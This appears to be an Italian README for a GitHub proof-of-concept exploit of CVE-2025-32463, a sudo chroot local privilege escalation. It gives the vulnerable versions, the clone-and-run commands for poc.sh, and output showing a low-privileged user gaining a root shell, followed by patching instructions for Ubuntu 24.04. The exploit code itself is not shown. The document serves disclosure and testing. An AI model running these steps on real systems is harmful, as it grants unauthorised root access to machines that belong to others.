CVE-2025-32463 – Exploit EoP di Sudo (PoC) con libreria precompilata

Questo repository contiene un exploit proof-of-concept (PoC) per CVE-2025-32463, una vulnerabilità di escalation dei privilegi locale in sudo scoperta da Rich Mirch.

Crediti

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ Disclaimer

Questo PoC è solo per scopi educativi e di test autorizzati. Non utilizzare questo codice su sistemi che non possiedi o per i quali non hai il permesso esplicito di valutazione.

🔧 Requisiti

sudo con supporto chroot (-R): versione 1.9.14 fino alla 1.9.17
nsswitch abilitato

🚀 Come eseguire il PoC

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

Verifica se l'utente corrente ha privilegi bassi

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

Verifica dei requisiti

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

Esegui l'exploit

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Rimedi per Ubuntu 24.04 LTS

Per i sistemi connessi basta eseguire
```
sudo apt update && sudo apt upgrade
```
Per i sistemi air-gapped: puoi ottenere l'ultimo pacchetto sudo da qui: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. Una volta trasferito il pacchetto sul sistema di destinazione, basta eseguire:
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```

CVE-2025-32463